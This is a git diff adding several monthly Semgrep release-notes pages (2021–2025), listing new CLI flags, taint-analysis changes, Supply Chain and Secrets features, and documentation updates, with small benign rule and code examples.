+- **CLI tool:** Added `--config code` and `--config secrets` flags to the `semgrep scan` command. When using these flags, the environment variable SEMGREP_REPO_NAME must be set. For example,
+ ```
+ $ SEMGREP_REPO_NAME=test_repo semgrep --config secrets
+ ```
+
+### Changed
+
+- Elixir language support now requires the Pro Engine. To scan Elixir codebases, enable the Pro Engine. {/* 9308 */}
+- The Semgrep CLI tool now correctly counts the rules run on a codebase. Previously, Semgrep counted the total rules in the user's Policies or rulesets, including rules that did **not** have valid targets and therefore, did not actually run. {/* 9130 */}
+- Updated instances of **returntocorp** to **Semgrep**. {/* gh 112877 */}
+- **Semgrep Editor:** Rules created in the editor are private by default. This means only members of your organization can view rules you have created. To create a private rule visible only to you (an individual), ensure that you create the rule in your **individual account**. {/* 11267 */}
+- Improved error pages.
+- semgrep scan --config PRODUCT_NAME now uses the same endpoint as semgrep ci to fetch the scan configuration. You must be logged in when using these commands. You can continue running `semgrep scan` without logging in by providing configuration such as --config auto.
+
+
+### Fixed
+
+- **API:** Fixed an issue where the severities filter did not return the correct value. {/* gh-11307 */}
+- **CLI tool:**
+ - The `--severity=[VALUE]` option, which can be added to a `semgrep scan` command, has been fixed. {/* gh-9062 */}
+ - The `--sarif` flag no longer crashes when Semgrep itself encounters errors.
+- Semgrep now refuses to run incompatible versions of the Pro Engine, rather than crashing and returning a confusing error message. {/* (gh-8873) */}
+- Fixed an issue where the CI provider icons disappeared from the **Scan new project in CI** window. The icons now appear. {/* 11228 */}
+- Implemented minor fixes for the new onboarding flow. {/* 11209, 11207 */}
+
+## 💻 Semgrep Code
+
+### Changed
+
+- **Scanning timeout:** The timeout per rule and per file has increased from 2 seconds to 5 seconds.
+
+### Fixed
+
+- **Findings page:** Fixed an issue where filtering by repositories wasn't working. {/* (11414) */}
+
+## ⛓️ Semgrep Supply Chain
+
+### Fixed
+
+- **Slack messages:**
+ - Improved readability of Semgrep Supply Chain messages by adding new lines between sections. {/* (11396) */}
+ - Fixed links that were not working. {/* (11210) */}
+- Fixed out-of-bounds list access error in `Cargo.lock` parser. {/* (sc-1072) */}
+
+## 🔐 Semgrep Secrets (beta)
+
+### Added
+
+- Added an optional `--no-secrets-validation` flag to skip secrets validation. To run a Secrets scan without validation, use the command `semgrep ci --secrets --no-secrets-validation`.
+- **Secrets and Secrets details page:** Added a ** ticket icon** to quickly inform users if a ticket has been created for the finding.
+
+### Changed
+
+- Semgrep Secrets now bypasses targets defined in `.semgrepignore`. This means that files not typically part of a SAST or SCA scan scope, such as configuration files, are now scanned by Semgrep Secrets. Broadening the scope of Semgrep Secrets scans means it is more likely to find leaked secrets.
+ - Previously, Semgrep Secrets excluded targets from `.semgrepignore`. Your findings count may increase with this change.
+ - You can still define exclusions from Secrets scanning. To **exclude targets** from Secrets scanning, define files or paths for exclusion in Semgrep Cloud Platform:
+
+ a. Click **Projects**.
+
+ b. Click the Project's ** icon**.
+
+ c. Add exclusions through the **Path ignores** text box.
+
+ - In the future, Semgrep will enable users to define ignores based on the type of scan, whether SAST, SCA, or Secrets. {/* 9125 (https://github.com/semgrep/semgrep/pull/9125 */}
+
+### Fixed
+
+- Fixed an issue where the Secrets page could freeze due to too many findings. {/* (11254) */}
+- Fixed a bug where enabling the Secrets beta causes the default scan mode to be set to OSS Engine, even when the Pro flag is turned on in the web UI. {/* (ea-248) */}
+- Metadata overrides specified in validators were incorrectly applied on top of one another (on a per-rule basis), so that only the last was applied. Each update is now correctly applied independently to each finding based on the rule's validators. {/* (scrt-231) */}
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added [ IntelliJ extension](/extensions/semgrep-intellij) documentation.
+- Added a [ guide to exporting SBOMs](/semgrep-supply-chain/glossary).
+
+### Changed
+
+- Improved [ Semgrep Pro Engine](/semgrep-code/semgrep-pro-engine-intro) documentation with a new example and updated definitions.
+- Updated [ Troubleshooting Semgrep in CI](/troubleshooting/semgrep-app)
+- Clarified language around [Semgrep and source code managers](/deployment/connect-scm).
+- Added a section about additional permissions required to run Semgrep Assistant.
+
+### Fixed
+
+- Minor corrections and updates to various articles.
+
diff --git a/mintlify-docs/release-notes/november-2024.mdx b/mintlify-docs/release-notes/november-2024.mdx
new file mode 100644
index 0000000000..7915c27740
--- /dev/null
+++ b/mintlify-docs/release-notes/november-2024.mdx
@@ -0,0 +1,164 @@
+---
+title: "November 2024"
+description: "November 30, 2024 · 5 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Added the ability to filter all findings by **Last fixed** and **Last triaged** dates in Semgrep AppSec Platform.
+ _**Figure**. Time period and status filters._
+- **Dashboard**:
+ - You can now view **trends**, comparing the previous time period to the current one, in the following charts:
+ - Production backlog
+ - Secure guardrails
+ - Median open finding age
+ - You can now export the Dashboard as a PDF. Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login), then click **Dashboard > Download > Download as PDF (report)**.
+
+
+### Changed
+
+- **API**: The `GET /deployments/DEPLOYMENT_ID/policies` endpoint now displays all policies for a given deployment for all Semgrep products.
+- **Teams**: You can now change roles in bulk:
+
+ i. Click **Settings > Teams**, then the **name of the team** you want to edit.
+
+ ii. Select the target users, then click **Bulk Edit**.
+
+ iii. In the drop-down box, select the new role for those users.
+
+
+### Fixed
+
+- Various improvements and fixes to Semgrep Managed Scans (SMS).
+
+## 💻 Semgrep Code
+
+### Added
+
+- **C**: Semgrep cross-file analysis now handles duplicate function names properly. When Semgrep finds duplicate functions, it assumes that any of them could be called. For example, if the function `foo` is defined in two files, Semgrep reports taint errors for both instances:
+ ```c
+ // "a/test.h"
+ void foo(int x) {
+ //deepruleid: dup-symbols
+ sink(x);
+ }
+
+ // "b/test.h"
+ void foo(int x) {
+ //deepruleid: dup-symbols
+ sink(x);
+ }
+
+ // "main.c"
+ #ifdef HEADER_A
+ #include "a/test.h"
+ #else
+ #include "b/test.h"
+ #endif
+
+ int main() {
+ int x = source();
+ foo(x);
+ }
+ ```
+- **JavaScript and TypeScript**:
+ - Added Pro rules for JavaScript and TypeScript, including:
+ - Code injection rules for the `vm`, `vm2`, and puppeteer libraries
+ - NoSQL injection rules for `mongodb` and `mongoose` libraries
+ - SQL injection rules for the `knex`, `mysql`, `pg`, `sequelize`, and `sqlite` libraries
+ - Path traversal rules for `fs` and `fs-extra`
+ - Improved existing rules to have more precise sources and sinks.
+ - Improved JavaScript and TypeScript imports resolution.
+ - Added support for JavaScript callbacks.
+
+### Changed
+
+- The **Findings** page's **Projects and branches** filter now pins selected options to the top of the list for easy reference.
+- Cross-file analysis now resolves method invocations on abstract classes, enhancing dataflow tracking accuracy for dynamic method invocations.
+- Improved memory usage and time for scans with many findings due to reduced memory allocations by Semgrep while processing `nosemgrep` comments.
+- **TypeScript**: improved logic for interfile analysis for projects using [project references](https://www.typescriptlang.org/handbook/project-references.html).
+
+### Fixed
+
+- Cross-file taint analysis has been optimized to scale better when there are many matched sources, propagators, sanitizers, and sinks within a function.
+- Semgrep now scans files containing special characters, as determined by Git, correctly instead of ignoring them.
+- Semgrep no longer freezes when running on a machine with a low memory limit with tracking enabled.
+- Fixed an issue with regex parsing during ReDoS analysis when Semgrep encountered a character class starting with `[:`, such as `[:a-z]`.
+- Fixed an issue with `semgrep scan` where anchored `semgrepignore` patterns for folders such as `/tests` weren't honored. Previously, these patterns didn't affect target file filtering.
+- Fixed an issue where exceptions thrown during target processing caused the scan to fail. The scan now returns exit code `0` instead of `2`, unless the scan was invoked with the `--strict` flag.
+- Fixed an issue where input containing multiple unclosed braces on the same line resulted in exponential parsing time, causing the scan to time out.
+- Improved error handling for networking errors.
+- Fixed an issue where autofix and `nosemgrep` didn't work in Semgrep Editor.
+- **Swift**: Ellipses and metavariable ellipses can now be used as function parameters in patterns.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Supply Chain now provides reachability analysis for **Scala** and **Swift**.
+
+### Changed
+
+- Parsers for `poetry.lock` and `pyproject.toml` now handle multi-line strings.
+
+### Fixed
+
+- Fixed an issue where the Gradle parser failed to parse the lockfile if it didn't start with a specific block comment. Semgrep now ignores the comment, allowing any or no comment to exist.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- Added Assistant-generated component tags for Semgrep Supply Chain and Semgrep Secrets findings.
+- Added support for Google Gemini.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- Added the ability to validate temporary AWS tokens.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following new documents, articles, and sections:
+ - A [section about **time period filters**](/semgrep-code/findings#time-period-and-triage), which you can apply to narrow down findings in the **Code**, **Supply Chain**, and **Secrets** pages.
+ - [How to exclude a Semgrep Supply Chain rule](/kb/semgrep-supply-chain/exclude-rule)
+ - [How to set up SMS with GitLab](/deployment/managed-scanning/gitlab)
+ - [Why do new rules keep appearing in Comment or Block mode?](/kb/rules/ruleset-default-mode)
+- Added the following sections in the docs homepage:
+ - A summary of the latest release notes
+ - A summary of supported languages for all Semgrep products
+
+### Changed
+
+- Updated the following documents and sections:
+ - [Support documentation](/support)
+ - [How findings are distinguishes new and duplicate findings](/semgrep-code/remove-duplicates)
+ - [Troubleshooting if a scan "never finished"](/troubleshooting/semgrep-app)
+- Clarified default behavior and options for how Semgrep handles exit codes.
+- Clarified the relationship between ingress and egress IP addresses and the Semgrep Network Broker.
+- Updated the wording in [Semgrep Assistant > Data privacy and legal considerations](/semgrep-multimodal/privacy) to include other large language models (LLMs).
+
+### Fixed
+
+- Improved site readability in mobile devices.
+
+### Removed
+
+- Removed `pattern-not` versus `pattern-not-inside` video.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in November 2024:
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/november-2025.mdx b/mintlify-docs/release-notes/november-2025.mdx
new file mode 100644
index 0000000000..756a45807e
--- /dev/null
+++ b/mintlify-docs/release-notes/november-2025.mdx
@@ -0,0 +1,110 @@
+---
+title: "November 2025"
+description: "December 9, 2025 · 6 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in November 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+- **Cortex** and **Sysdig** integrations are now generally available. Semgrep now uses deployment status and, for Cortex, internet-exposure data from these CNAPP providers to better prioritize findings.
+- The **Settings > General** tab now displays all Semgrep product settings on a single page.
+- Added the ability for non-admin users to complete the Semgrep GitHub App installation process using an install-request link. This ensures that private GitHub App installations can proceed, even when the initiating user lacks org admin permissions.
+- Added a new **Validate** button and improved **connection status visibility** for CNAPP integrations. You can now see the validation state, last successful sync time, and clearer error conditions directly in Semgrep AppSec Platform.
+- You can now update and delete customizable and saved views using the API. The endpoint returns a 404 if the view does not exist.
+- Added support for filtering projects by status, including `setup`, `uninitialized`, and `archived`, in the Projects API endpoints, enabling more precise control when retrieving project lists.
+- Added support for filtering projects by status, including `setup`, `uninitialized`, and `archived`, in the Projects API endpoints, enabling more precise control when retrieving project lists.
+- Added missing fields `commit` and `enabled_products` to the `GetScan` v2 API response to achieve parity with v1 and ensure you receive complete scan metadata.
+- Added support for updating a project's **primary branch** through the Public API v2, enabling parity with the v1 Projects API endpoint.
+- Added support to the Public API for mutating project tags, enabling automated workflows to add, remove, or update tags on projects.
+
+### Changed
+
+- The **API tokens** and **CLI tokens** tabs under *Settings → Tokens* are now paginated, significantly improving page load speed for teams with many tokens.
+
+
+### Fixed
+
+- Fixed several issues with RBAC team-based filtering that caused you to see incorrect repository or findings access in certain deployments. You should now see correct repository and findings access based on their team permissions.
+- Fixed an issue where the self-service checkout flow failed with an "Unrecognized enum value" error when starting a billing upgrade. You can now successfully initiate checkout sessions again.
+- Fixed an issue where Jira automations persisted after deleting the Jira integration. Automations are now deleted when the integration is removed.
+- Fixed an issue with the **Settings** pages where some searches resulted in no results on later pages.
+- Fixed an issue where organization admins could not see projects without team assignments when RBAC was enabled. All projects now correctly appear in the **Projects** page for admins.
+- Fixed an authorization issue in Network Broker key management.
+- Fixed an issue where GitLab merge-base requests were serialized incorrectly, causing errors or inconsistent diff detection for GitLab users.
+- Fixed an issue where rule descriptions on the **Findings** page used a fixed width. Descriptions now scale responsively again.
+- Fixed an issue where GitHub SSO orgs using personal GitHub accounts made unnecessary calls to GitHub during user sync.
+- Fixed an issue where new CNAPP integrations displayed an incorrect error state in Semgrep AppSec Platform.
+- Fixed an issue where opening the scan's **Details** reset existing URL filters. Semgrep now preserves all active filters when you navigate to the **Details** page.
+- Removed the ability for users to remove their own access in **Access Control**.
+- You can no longer click the *Run a new scan* buttons on the **Projects** list and **Project Details** pages if you disable Managed Scans for the project.
+
+## 💻 Semgrep Code
+
+### Added
+
+- MCP: added the `-k` / `--hook` flag to enable Semgrep scans from Claude Code Agent post-tool hooks.
+- **Go**: enabled taint tracking across goroutines, improving detection accuracy in Go projects.
+
+### Changed
+
+- Semgrep now uses your source code manager to determine changes between branches during a scan. If you're using Network Broker, you must upgrade to benefit from this improvement if you are on **GitLab self-managed v0.36.0 or earlier** or **GitHub Enterprise v0.31.0 or earlier**.
+
+### Fixed
+
+- The progress bar for `semgrep scan` and `semgrep ci` now consistently reaches 100%.
+- **Rust**: Fixed missing type alias translations so that Semgrep can correctly match the `()` type in type declarations.
+- **Scala**: Fixed several issues with Scala match-expression handling in dataflow analysis, improving accuracy.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Malicious dependency detection is now generally available. Semgrep detects malicious packages, including malware, typosquatting, and credential-stealing dependencies, using over 80,000 rules.
+- Added a toggle in **Supply Chain settings** that allows you to disable malicious dependency rules. This provides an opt-out for teams who prefer not to run these rules or who encounter performance issues.
+- Added a new checkbox in the Jira **Customize ticket creation** dialog that allows teams to automatically create tickets for malicious dependency findings on any branch.
+
+### Fixed
+
+- Semgrep AppSec Platform now displays the correct severity for Supply Chain findings, resolving a mismatch with automations and the CLI. Some existing findings may show updated severities, but policies and Jira workflows are unaffected.
+- Fixed an issue that caused Supply Chain scans to fail when encountering newer manifest types.
+- Fixed an issue where searches for dependencies only filtered the first page of results. Dependency filters now correctly return complete, accurate results.
+- Fixed inaccurate dependency and lockfile counts in Supply Chain pages.
+
+## 🤖 Semgrep Assistant
+
+### Added
+- You can now see rule and analysis explanations on the finding’s **Details** page. When a finding is classified as a true or false positive, an alert appears, and a detailed explanation is available in the **Finding description** tab. For true positives, it includes code context and threat-model rationale; for false positives, it includes reasoning only.
+
+### Changed
+
+- Assistant now automatically analyzes all new **Critical** and **High** severity findings with **Medium** or **High** confidence in full scans, removing the previous 10-issue limit.
+
+### Fixed
+
+- Removed outdated warning text from the Assistant autofix.
+- Fixed an issue where agreeing with an auto-triage verdict incorrectly marked findings as ignored. Findings are now only auto-ignored when user assigns it as a **False Positive**.
+
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following knowledge base articles:
+
+
+
+
+
+## 🔧 OSS Engine
+
+### Added
+
+* The following versions of the OSS Engine were released in November 2025:
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/release-notes/october-2021.mdx b/mintlify-docs/release-notes/october-2021.mdx
new file mode 100644
index 0000000000..686ded921d
--- /dev/null
+++ b/mintlify-docs/release-notes/october-2021.mdx
@@ -0,0 +1,114 @@
+---
+title: "October 2021"
+description: "October 31, 2021 · 5 min read"
+rss: true
+---
+
+
+## Version 0.70.0
+
+### Additions
+
+Experimental Bash support. ([#4081](https://github.com/semgrep/semgrep/pull/4081))
+
+### Fixes
+
+- Go: Ellipsis operator `(...)` is now supported in the import list. For example, import `(..."error"...)`. ([#4067](https://github.com/semgrep/semgrep/issues/4067))
+- Java: Ellipsis operator in method chain calls can now match 0 elements. For example: o. ... .foo() now also matches o.foo(). ([#4082](https://github.com/semgrep/semgrep/issues/4082))
+- Previously, Semgrep crashed when used with a YAML rule file that contained only comments. This bug is now fixed. As a result, Semgrep gracefully handles YAML rule files that contain only comments. ([#3773](https://github.com/semgrep/semgrep/issues/3773))
+
+### Changes
+
+- Resolution of rulesets uses the legacy registry instead of the cdn registry.
+- The Benchmark suite is easier to modify.
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.70.0).
+
+## Version 0.69.1
+
+### Fixes
+
+- The --enable-metrics flag is now always a flag and does not optionally take an argument.
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.69.1).
+
+## Version 0.69.0
+
+### Additions
+
+- C: Semgrep now recognizes the sizeof() operator as valid C code. ([#4037](https://github.com/semgrep/semgrep/issues/4037))
+- C: Semgrep recognizes declaration and function patterns in C code..
+- Java: As of this update, Semgrep supports the @interface annotation type pattern. ([#4030](https://github.com/semgrep/semgrep/issues/4030))
+
+### Fixes
+
+- Previously, minified files have been excluded from Semgrep scans (see[the changelog for version 0.66.0](https://github.com/semgrep/semgrep/blob/develop/CHANGELOG.md#0660---09-22-2021)). As of this update, this change has been reverted and minified files are included in Semgrep scans.
+- Java: Before this update, Semgrep returned incorrect findings for classes with import. With this update, the equality of metavariables bounded to imported classes was fixed and the problem no longer occurs. ([#3748](https://github.com/semgrep/semgrep/issues/3748))
+- Python: The issue with matching tuples and parenthesized expressions has been fixed. ([#3832](https://github.com/semgrep/semgrep/issues/3832))
+- C: With this update, the issue with the typedef reserved keyword inference has been fixed. ([#4054](https://github.com/semgrep/semgrep/pull/4054))
+- Ruby: In Semgrep version 0.66.0, you could scan for both the hash rocket and regular hash in function calls with expressions similar to Oj.load(..., mode: :object, ...). The change implemented in Semgrep version 0.67.0 has changed this behavior. As a consequence, to scan for function calls with both the hash rocket and hash, the rule needed to be defined for both syntax patterns separately. With this update, the issue has been fixed and you can use the older syntax to search for both syntax patterns simultaneously. ([#3981](https://github.com/semgrep/semgrep/issues/3981))
+- OCaml: Added body of functor in Abstract Syntax Tree (AST). ([#3821](https://github.com/semgrep/semgrep/issues/3821))
+
+### Changes
+
+- taint-mode: In version 0.68.0, sanitizers matching a source or a sink were automatically filtered out. This allowed a pattern sanitizer such as $F(...) to sanitize every other function without conflicting with neither sources nor sinks. As a consequence, other idioms used to specify sanitizers were broken. To resolve this issue, there are now two types of sanitizers:
+
+- The default semantics of sanitizers is reverted to the state before version 0.68.0. By default, if a sanitizer matches a source or a sink, that source or sink becomes sanitized.
+- A new type of sanitizer is now available. To prevent the sanitizer from overriding a source or a sink annotation when they match exactly, specify this sanitizer with a not_conflicting: true flag in the sanitizer declaration. This allows using sanitizer patterns such as $F(...) without the need to explicitly filter for sources and sinks from sanitization. ([#4033](https://github.com/semgrep/semgrep/pull/4033))
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.69.0).
+
+## Version 0.68.2
+
+### Fixes
+
+- The --skip-unknown-extensions option now treats files with no extension as files with an unknown extension.
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.68.2).
+
+## Version 0.68.1
+
+### Additions
+
+- Added support for raise and throw statements in the dataflow engine and improved current support for the try and catch statements. ([#4006](https://github.com/semgrep/semgrep/pull/4006))
+
+### Fixes
+
+- Respect path filtering at the rule level.
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.68.1).
+
+## Version 0.68.0
+
+### Additions
+
+- Semgrep now enables you to scan input code from subshells. See the following example: `semgrep -e 'a' --lang js <(echo 'a')` ([#3966](https://github.com/semgrep/semgrep/pull/3966))
+
+### Fixes
+
+- Previously, Semgrep could not find empty try and catch statements with a wildcard matching in Java code. This issue has been fixed, and as a consequence, finding the empty try and catch statements works correctly. ([#4002](https://github.com/semgrep/semgrep/issues/4002))
+- taint-mode: Previously, Semgrep did not report a tainted sink included in a specific argument of a function call. This issue has been fixed.
+- PHP: You can now use more keywords as valid field names. ([#3954](https://github.com/semgrep/semgrep/issues/3954))
+
+### Changes
+
+- taint-mode: Sanitizers matching a source or a sink are filtered out. You can now use the following pattern: $F(...) As a result, it is possible to find other functions which are sanitizers.
+- taint-mode: Previously, built-in source(...) and built-in sanitizer sanitize(...) could cause unexpected behavior in code, such as functions called source. In this update, both functions have been removed and the described issue no longer occurs.
+- Improved Kotlin parsing from 77% to 90%.
+- Resolution of Semgrep Registry rulesets (for example p/ci) uses a new rule content delivery network ( **CDN** ) and does client-side hydration.
+- Set the Perl Compatible Regular Expressions (PCRE) recursion limit so it does not vary with different installations of the PCRE. Improved PCRE error handling in the Semgrep core.
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.68.0).
+
diff --git a/mintlify-docs/release-notes/october-2022.mdx b/mintlify-docs/release-notes/october-2022.mdx
new file mode 100644
index 0000000000..d99ee4097c
--- /dev/null
+++ b/mintlify-docs/release-notes/october-2022.mdx
@@ -0,0 +1,129 @@
+---
+title: "October 2022"
+description: "October 30, 2022 · 6 min read"
+rss: true
+---
+
+
+## Semgrep Supply Chain
+
+Semgrep, Inc now offers a new product: Semgrep Supply Chain. Semgrep Supply Chain is a high-signal dependency scanner that detects reachable vulnerabilities in open source, third-party libraries in your code. Learn more about [Semgrep Supply Chain](https://semgrep.dev/products/semgrep-supply-chain).
+
+## Semgrep App
+
+### Additions
+
+- New demo project allows you to try out Semgrep App workflows. If your organization in Semgrep App does not have any projects assigned in the [Projects](https://semgrep.dev/orgs/-/projects) page, you can add the new demo project by clicking **Explore a demo project**.
+- You can now triage through PR comments, for more information see [Ignoring findings through comments](/semgrep-code/triage-remediation#triage-findings-through-pr-and-mr-comments) documentation.
+- Semgrep Playground now displays its version number. To see the exact version that Semgrep Playground uses, click the three-dot button, and then see the version number after the icon.
+
+ 
+
+
+### Changes
+
+- Previously, when you removed a rule you had to rescan the code to remove findings associated with the rule. With this change, findings made by the removed rule are now automatically removed without rescanning. If you add a removed rule back, then you need to rescan your code to get the findings from the previously removed rule again. For more information, see [Triaging findings](/semgrep-code/triage-remediation).
+- New [Findings](https://semgrep.dev/orgs/-/findings?tab=open) page styling. See [Managing findings in Semgrep App](/semgrep-code/findings) documentation for additional information.
+- Semgrep App experience is generally improved due to a significant number of fixed bugs.
+
+## Semgrep CLI
+
+These release notes include upgrades for versions ranging between 0.116.0 and 0.118.0.
+
+### Additions
+
+#### Taint mode
+
+- Taint mode now tracks taint coming from the default values of function parameters. For example, given `def test(url = "http://example.com"):`, if `"http://example.com"` is a taint source (as a consequence of not using TLS protocol), then `url` is marked as tainted. (Issue [#6298](https://github.com/semgrep/semgrep/issues/6298))
+- Two new rule options that help to minimize false positives:
+ - The`taint_assume_safe_indexes`, which makes Semgrep assume that an array-access expression is safe even if the index expression is tainted. Otherwise Semgrep assumes that for example: `a[i]` is tainted if `i` is tainted, even if `a` is not. Enabling this option is recommended for high-signal rules, whereas disabling is preferred for audit rules. Currently, it is disabled by default to attain backwards compatibility, but this can change in the near future after some evaluation. To enable this option, include the `taint_assume_safe_indexes: true` under the `options` key. For more information, see [Rule syntax](/writing-rules/rule-syntax/#options) documentation. (PR [#6327](https://github.com/semgrep/semgrep/pull/6327))
+ - The `taint_assume_safe_functions`, makes Semgrep assume that function calls do **not** propagate taint from their arguments to their output. Otherwise, Semgrep always assumes that functions may propagate taint. This is intended to replace **not-conflicting** sanitizers (added in v0.69.0, for more information, see [Minimizing false positives via sanitizers](/writing-rules/data-flow/taint-mode/overview#sanitizers)) in the future. This option is still experimental and needs to be complemented by other changes in future releases. To enable this option, include the `taint_assume_safe_functions: true` under the `options` key. For more information, see [Rule syntax](/writing-rules/rule-syntax/#options) documentation. (PR [#6327](https://github.com/semgrep/semgrep/pull/6327))
+- It is now possible to use `pattern-propagators` to propagate taint through higher-order iterators such as `forEach` in Java.
+ For example:
+ ```yaml
+ pattern-propagators:
+ - pattern: $X.forEach(($Y) -> ...)
+ from: $X
+ to: $Y
+ ```
+ (Issue [#5971](https://github.com/semgrep/semgrep/issues/5971))
+- The following update is only relevant for users of DeepSemgrep: Added support for named arguments in taint mode.
+
+### Changes
+
+- Disabled Bloom filter optimization by default, due to undesired interactions with constant and symbolic propagation, while it appears to not provide a net major performance benefit. If you do notice a significant drop in performance after this change, please let us know.
+
+#### Taint mode
+
+- Removed basic experimental support for wrapper functions around taint sources. This was an early experiment to make Semgrep inter-procedural, but it was abandoned in favor of DeepSemgrep.
+ Previously, if Semgrep found a definition such as `wrapper() { return taint_source; }`, it recognized that `wrapper` was propagating taint from `taint_source`. If the code included something as `sink(wrapper())`, Semgrep flagged it. However, for Semgrep to match such code, a `wrapper` had to be defined earlier in the source file before its use. DeepSemgrep is able to handle this case and many more.
+ If you relied on this feature, it can generally be worked around using for example:
+ ```yaml
+ pattern-sources:
+ - patterns:
+ - pattern-inside: |
+ $FUNC(...) {
+ ...
+ return tainted_source;
+ }
+ ...
+ - pattern: $FUNC(...)
+ ```
+
+## Semgrep in CI
+
+### Changes
+
+- Previously, Semgrep overrode user-defined environment variables with values it detected from the CI provider. Now, user-defined environment variables take precedence (override) Semgrep's detected values. By enabling you to override CI variables, you are able to troubleshoot issues such as hyperlinks to code in the Findings page and receiving comments in pull requests or merge requests.
+ - This change affects the following CI providers:
+ - Azure Pipelines
+ - BitBucket Pipelines
+ - Jenkins
+ - Travis CI
+ - This change affects the following variables:
+ - `SEMGREP_REPO_NAME`
+ - `SEMGREP_REPO_URL`
+ - `SEMGREP_BRANCH`
+ - `SEMGREP_JOB_URL`
+ - `SEMGREP_COMMIT`
+ - `SEMGREP_PR_ID`
+
+- The `--scan-unknown-extensions` option is now set to false by default. This means that from now on `--skip-unknown-extensions` is the default. This is an important change that prevents many errors when using Semgrep in a pre-commit context or in CI.
+
+## Documentation updates
+
+### Additions
+
+#### Semgrep Supply Chain
+
+The following guides are now available for Semgrep Supply Chain:
+- [Scanning open source dependencies](/semgrep-supply-chain/getting-started) - Walks the user through setting up Semgrep Supply Chain scans and how Semgrep performs reachability analysis.
+- [Triaging and remediating dependency findings](/semgrep-supply-chain/triage-and-remediation) - Provides workflows for triaging dependency findings.
+- [Ignoring lockfiles and dependencies](/semgrep-supply-chain/ignoring-dependencies) - Provides commands to fine-tune what files should not be scanned.
+
+The following references are available for Semgrep Supply Chain:
+- [Supported languages](/supported-languages#semgrep-supply-chain) - All languages supported by Semgrep Supply Chain and their maturity levels.
+- [Glossary](/semgrep-supply-chain/glossary) - A list of terms related to software composition analysis and how Semgrep Supply Chain relates to those terms
+
+#### Semgrep App
+
+- [Ignoring findings through comments](/semgrep-code/triage-remediation#triage-findings-through-pr-and-mr-comments) section documents how to triage findings through GitHub comments.
+
+#### Semgrep CLI
+
+- New section [Connect to Semgrep Registry through a proxy](/cli-reference/#connect-to-semgrep-registry-through-a-proxy).
+
+### Changes
+
+- [CI configuration reference](/semgrep-ci/ci-environment-variables) now includes all environment variables for CI, their uses, and how to set them.
+- [Getting started with Semgrep App](/deployment/core-deployment) now includes information about the last 10 supported versions of the Semgrep CLI.
+- [Running Semgrep in continuous integration (CI) with Semgrep App](/deployment/core-deployment) now includes a new video Scanning code with Semgrep using GitHub Actions.
+- Updated a document and section that provides information on how to add multiple focus metavariables in:
+ - [Including multiple focus metavariables using set union semantics](/writing-rules/experiments/multiple-focus-metavariables)
+ - [Including multiple focus metavariables using set intersection semantics](/writing-rules/rule-syntax/#including-multiple-focus-metavariables-using-set-intersection-semantics)
+- Removing rules from a rule board now removes all associated findings. This change is reflected in the following documents:
+ - [Managing findings](/semgrep-ci/findings-ci/#semgrep-code-findings).
+ - Section [Triaging findings](/semgrep-code/triage-remediation) in [Managing findings in Semgrep App](/semgrep-code/findings).
+ - [Getting started with Semgrep App](/deployment/core-deployment).
+- Adjustments to the structure of the documentation in our left sidebar. Many iterative changes, improvements, and fixes to improve your docs reading experience.
+
diff --git a/mintlify-docs/release-notes/october-2023.mdx b/mintlify-docs/release-notes/october-2023.mdx
new file mode 100644
index 0000000000..ee75e0019d
--- /dev/null
+++ b/mintlify-docs/release-notes/october-2023.mdx
@@ -0,0 +1,112 @@
+---
+title: "October 2023"
+description: "October 30, 2023 · 4 min read"
+rss: true
+---
+
+
+## 🔧 Semgrep OSS Engine
+
+- The following versions of Semgrep OSS Engine were released in October 2023:
+
+
+
+
+
+
+
+
+## 🌐 Semgrep Cloud Platform
+
+### Added
+- Added a button to **Remove** source code manager (SCM) apps. This is helpful when you have a misconfigured SCM app, such as GitHub's `semgrep-app`, and want to reinstall it. {/*(10688)*/} To remove an SCM, click ** Settings > Source code managers**.
+
+ 
+
+- Added Semgrep Assistant to the new **Getting started** guide in the onboarding flow. {/*(10716) */}
+- **OpenAPI:** Renamed instances of r2c to Semgrep. {/*(10685) */}
+- **CLI login:** New users are now directed to create a Semgrep org when they are logging in for the first time to Semgrep Cloud Platform from the CLI. {/* (10596) */}
+
+### Changed
+
+- Updated the default CircleCI YAML snippet to include full and diff scans. {/* (#10678) */}
+
+### Fixed
+
+- Fixed UI issues in the new onboarding flow.
+- Fixed an issue where Semgrep Cloud Platform could crash during the onboarding flow. {/*(#10940) */}
+- Various frontend fixes and improvements to the following:
+ - Finding detail page
+ - Projects page
+- Fixed an issue where the **Delete user** functionality did not work for some Semgrep orgs. {/* (#10756) */}
+
+## 💻 Semgrep Code
+
+### Fixed
+
+- Speed and stability improvements across the product. Semgrep Code pages, such as Findings and Policies, now load faster.
+- **Semgrep Assistant:** Component tags are now visible for all Assistant users.
+ - **Component tags** use GPT-4 to categorize a finding based on its function, such as:
+ - Payments
+ - User authentication
+ - Infrastructure
+ - By categorizing your code through component tags, Semgrep Assistant is able to help you prioritize **high-risk issues**, for example if Semgrep has detected a code finding related to payments or user authentication.
+
+ 
+
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
